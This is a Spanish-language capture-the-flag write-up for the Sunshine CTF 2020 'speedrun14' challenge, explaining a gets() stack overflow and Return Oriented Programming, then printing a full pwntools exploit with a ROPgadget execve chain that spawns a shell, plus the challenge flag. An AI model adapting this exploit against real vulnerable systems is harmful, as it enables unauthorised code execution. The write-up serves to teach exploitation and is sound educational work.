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Binary Exploitation (XVII): Solución Reto Sunshine CTF 2020 "speedrun14"

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Solución a otro de los retos de la categoría 'Binary Exploitation' de la competición Sunshine CTF 2020.

En esta entrada la solución al desafío que lleva por título "speedrun14", y que, en mi opinión, presenta un nivel de dificultad medio (★★★☆☆).

- Enunciado:

- Solución: Se proporciona un archivo ejecutable (chall_14) y lo primero que hago es ejecutarlo; incluyo una cadena larga ('AAA…A') y veo que el programa es susceptible a un ataque de desbordamiento de ‘buffer’ (en inglés, ‘buffer overflow’):

Después, compruebo los mecanismos de seguridad del binario utilizando ‘checksec’:

Se trata de un binario de 64 bits, y como se ve en la figura anterior NX está habilitado, por lo que no podré inyectar ‘shellcode’ en la pila (en inglés, ‘stack’) para ejecutarlo, y PIE está deshabilitado, por lo que es fácil para un atacante el uso de sus funciones y de ‘gadgets’ del propio binario (en español dispositivos, y que, en este caso, son pequeños fragmentos de código ya presentes en el binario).

Como también se ve, entre las protecciones de este binario se ha detectado la existencia de un canario, que es un valor, generalmente aleatorio, que se coloca entre un ‘buffer’ y los datos de la pila adyacentes al mismo para detectar los desbordamientos del ‘buffer’, de tal forma que al final de una función se comprueba si se ha modificado su valor y, caso de que así sea, sería indicativo de que se ha producido un desbordamiento del ‘buffer’, ya que el valor del canario sería el primer dato en corromperse, y se podrían tomar las acciones oportunas, por ejemplo, advertir de esta circunstancia y dar por finalizado el programa.

Decompilo el binario con ’Ghidra’:
 
Veo que en main() se utiliza gets() por lo que el programa sería vulnerable a un ataque de desbordamiento de ‘buffer’.

La dirección de retorno de main() se encontraría desplazada 0x68 (104) bytes desde la cima de la pila (última dirección de memoria ocupada por la pila).

No veo funciones que pueda utilizar para abrir una ‘shell’, pero una cosa que me llama la atención es la gran cantidad de funciones que tiene el binario, por lo que también tendrá muchos ‘gadgets’ que un atacante pueda utilizar, y, por tanto, lo intento con ROP, ‘Return Oriented Programming’ (en español, Programación Orientada al Retorno), que es una técnica de explotación utilizada para redirigir la ejecución de código mediante ‘gadgets’ (en español, dispositivos) o pequeños fragmentos de código que, en este caso, ya están presentes en el binario.

Como tengo control sobre la pila debido al desbordamiento de ‘buffer’, puedo sobrescribir la dirección de retorno de main() con la dirección de un ‘gadget’ que realice, por ejemplo, ‘pop rax; ret’, por lo que, cuando finalice la ejecución de main(), el binario bifurcará a este ‘gadget’, transferirá el último valor almacenado en la pila al registro RAX, y luego bifurcará al siguiente ‘gadget’, si lo hay, y continuará la ‘ROP chain’ (en español, cadena ROP), que simplemente es una lista de direcciones cuyo contenido ejecutará el binario bifurcando a cada una de ellas una detrás de otra.

Por tanto, mi plan de ataque consiste en sobrescribir la dirección de retorno de main() con la de inicio de una cadena ROP que me permita obtener una ‘shell’, con lo que podré buscar y ver la flag, y, en consecuencia, resolver este reto.

Para crear la cadena ROP utilizo la herramienta ‘ROPgadget’, que buscará los ‘gadgets’ del binario que puedo utilizar.

Una vez que se obtengan los ‘gadgets’ se puede construir la cadena ROP de forma manual, pero si lo que queremos es abrir una ‘shell’ ‘ROPgadget’ es capaz de hacerlo automáticamente por nosotros (opción '--ropchain'):
Tal y como he dicho anteriormente, la dirección de retorno de main() se encontraría con un desplazamiento de 0x68 (104) bytes desde la dirección de la cima de la pila (última dirección de memoria ocupada por la pila), con lo que el tamaño del relleno de la cadena que debo incluir antes de la dirección de inicio de la cadena ROP generada es de 104 bytes.

Para implementar el ataque creo un pequeño ‘exploit’ mediante un ‘script’ en python para que envíe 104 bytes (0x68) de relleno y luego las direcciones correspondientes de la cadena ROP, con lo que sobrescribiré la dirección de retorno de main() con la de inicio de la cadena ROP, se bifurcará al primer ‘gadget’, después al segundo y así sucesivamente, y se abrirá una ‘shell’:

#!/usr/bin/env python3
# execve generated by ROPgadget

from pwn import *
from struct import pack

binary = ELF('./chall_14')

p = remote('chal.2020.sunshinectf.org', 30014)

payload = b'A' * 104
payload += pack('<Q', 0x0000000000410263) # pop rsi ; ret
payload += pack('<Q', 0x00000000006b90e0) # @ .data
payload += pack('<Q', 0x00000000004158f4) # pop rax ; ret
payload += b'/bin//sh'
payload += pack('<Q', 0x000000000047f401) # mov qword ptr [rsi], rax ; ret
payload += pack('<Q', 0x0000000000410263) # pop rsi ; ret
payload += pack('<Q', 0x00000000006b90e8) # @ .data + 8
payload += pack('<Q', 0x0000000000444e50) # xor rax, rax ; ret
payload += pack('<Q', 0x000000000047f401) # mov qword ptr [rsi], rax ; ret
payload += pack('<Q', 0x0000000000400696) # pop rdi ; ret
payload += pack('<Q', 0x00000000006b90e0) # @ .data
payload += pack('<Q', 0x0000000000410263) # pop rsi ; ret
payload += pack('<Q', 0x00000000006b90e8) # @ .data + 8
payload += pack('<Q', 0x0000000000449b15) # pop rdx ; ret
payload += pack('<Q', 0x00000000006b90e8) # @ .data + 8
payload += pack('<Q', 0x0000000000444e50) # xor rax, rax ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000040120c) # syscall

p.sendline()
p.sendline(payload)
p.interactive()

Lo ejecuto:
A partir de que se abra la ‘shell’, lo único que queda por hacer es buscar la flag en el servidor. Veo que hay un fichero llamado flag.txt que contiene la solución a este reto: sun{hail-to-the-king-c24f18e818fb4986}
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